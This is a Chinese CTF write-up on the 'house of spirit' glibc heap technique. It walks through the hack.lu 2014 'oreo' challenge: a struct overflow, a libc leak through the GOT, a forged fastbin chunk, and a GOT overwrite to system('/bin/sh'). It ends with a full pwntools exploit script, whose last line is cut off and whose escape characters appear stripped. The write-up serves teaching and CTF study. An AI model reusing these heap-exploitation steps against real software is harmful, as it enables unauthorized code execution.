1. 程式人生 > 其它 >PWN學習之house of系列(一)

PWN學習之house of系列(一)

作者:Hcamael@知道創宇404實驗室

發表時間:2018年1月31日

準備一份house of系列的學習博文,在how2heap上包括下面這些:

  • house of spirit
  • house_of_force
  • house_of_einherjar
  • house_of_orange
  • house_of_lore

house of spirit

house of spirit是fastbin的一種利用方法,利用demo可參考: https://github.com/shellphish/how2heap/blob/master/house_of_spirit.c

我通過具體的CTF PWN題目來學習該利用方法,題目見:

https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo

這題是hack.lu 2014 ctf的一道400分的32位下的PWN題,這題原本是沒有給libc的,但是我搜了下網上這題的writeup,不需要libc有兩種方法,一種是假設伺服器上用的是最新版的libc,然後從各個發行版的系統找libc,一個一個試,另一種是使用ret2dl-resolve,這個利用方法我準備單獨寫一篇博文來說,而本文主要是學習house of spirit,所以就用本地的libc,假設已知libc。

漏洞點很簡單,首先要能看出一個結構體:

struct rifle {
    char descript[0x19]
    char name[0x1b]
    char *pre_add
}

然後在sub_8048644函式中,大致邏輯如下:

add()
{
  rifles *v1;
  unsigned int v2;

  v1 = rifle;
  rifle = (rifles *)malloc(0x38u);
  if ( rifle )
  {
    rifle->pre_add = (int)v1;
    printf("Rifle name: ");
    fgets(rifle->name, 56, stdin);
    str_deal(rifle->name);
    printf("Rifle description: ");
    fgets(rifle->descript, 56, stdin);
    str_deal(rifle->descript);
    ++rifle_num;
  }
  else
  {
    puts("Something terrible happened!");
  }

結構體中name的長度只有0x1b,但是卻能輸入56長度的字串,所以可以把後面的pre_add覆蓋,或者把下一個堆進行覆蓋

洩露記憶體

因為libc已知,程式沒開PIE,所以只需要洩露libc地址,然後算出libc基地址

記憶體洩露利用的是sub_8048729函式,該函式的大致邏輯如下:

show_rifles()
{
  rifles *i;
  unsigned int v2;

  printf("Rifle to be ordered:n%sn", "===================================");
  for ( i = rifle; i; i = (rifles *)i->pre_add )
  {
    printf("Name: %sn", i->name);
    printf("Description: %sn", i);
    puts("===================================");
  }
}

rifle->pre_add是可控的,把rifle->pre_add = 0x804A258-25設定為sscanf的got表地址減去25,這樣Name輸出的就是sscanf_got的值,並且sscanf_got->pre_add的值為0,能讓該程式繼續執行而不報錯

得到sscanf_got的值後,可以通過libc的偏移算出libc的基地址

使用house_of_spirit進行任意地址寫

house of spirit簡單的來說就是free一個假的fastbin堆塊,然後再下次malloc的時候就會返回該假堆塊

所以第一步是要構造假的堆塊,在該程式中,只有一個malloc(0x38),所以要構造一個size=0x41的堆塊,在.bss_804A2A0地址的order_num,和.bss_804A2A4rifle_num,一個是在free的時候自增1,一個是在rifle add的時候自增1,所以只要add 0x41次rifle,就能把rifle_num設定為0x41

chunk的size位偽造好了,現在是bypass libc對free fastbin的check,主要是會對下一個chunk的size進行check,所以不僅要偽造當前check的size,還要偽造下一個chunk的size

下一個chunk的地址是0x804A2A4+0x40=0x804a2e4,該地址是儲存notice的地址,屬於可控區域,程式碼如下:

information = (char *)&unk_804A2C0;

leave()
{
  unsigned int v0;

  printf("Enter any notice you'd like to submit with your order: ");
  fgets(information, 128, stdin);
  str_deal(information);
}

假堆塊構造完成了,free了之後0x804A2A0將會加入到fastbin中,在下一次add rifle的時候malloc會返回該地址,所以0x804A2A4往下的變數都可控,這個時候我們能修改information的值,然後在leave函式會向information指向的地址寫入值

這樣就達到了任意地址寫的目的

最終利用

能做到任意地址寫,下面就很簡單了,方法有很多,我使用的是重寫sscanf_got地址的值為計算出的system地址

int read_action()
{
  int v1; 
  char s;
  unsigned int v3;

  do
  {
    printf("Action: ");
    fgets(&s, 32, stdin);
  }
  while ( !__isoc99_sscanf(&s, "%u", &v1) );
  return v1;
}

當輸入了/bin/sh之後,會賦值給變數s,然後傳給sscanf,這時候sscanf_got的值已經被改成了system的值,所以實際執行的是system("/bin/sh")

最終達成getshell的目的,payload如下:

#!/usr/bin/env python
# -*- coding=utf-8 -*-

from pwn import *

context.log_level = "debug"

def add(name, descrip):
    p.readuntil("Action:")
    p.sendline("1")
    p.readuntil("name:")
    p.sendline(name)
    p.readuntil("description:")
    p.sendline(descrip)

def show_rifles():
    p.readuntil("Action:")
    p.sendline("2")
    p.readuntil("Name: ")
    p.readuntil("Name: ")
    return u32(p.read(4))

def free():
    p.readuntil("Action:")
    p.sendline("3")

def leave(message):
    p.readuntil("Action:")
    p.sendline("4")
    p.readuntil("order: ")
    p.sendline(message)


sscanf_got = 0x804A258
fake_heap = 0x804A2A0
system_offset = 0x3ada0

p = process("oreo_35f118d90a7790bbd1eb6d4549993ef0", stdin=PTY)

name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")
sscanf = show_rifles()
libc_base = sscanf - 0x5c4c0
for x in xrange(0x40-1):
    add("mm", "gg")

name_payload2 = "aaa" + "bbbb"*6 + p32(fake_heap+8)
add(name_payload2, "uuu")
message_payload = "x00x00x00x00"*9 + p32(0x41)
leave(message_payload)
# raw_input()

free()
# raw_input()
add("name", p32(sscanf_got))
leave(p32(libc_base+system_offset))
p.sendline("/bin/sh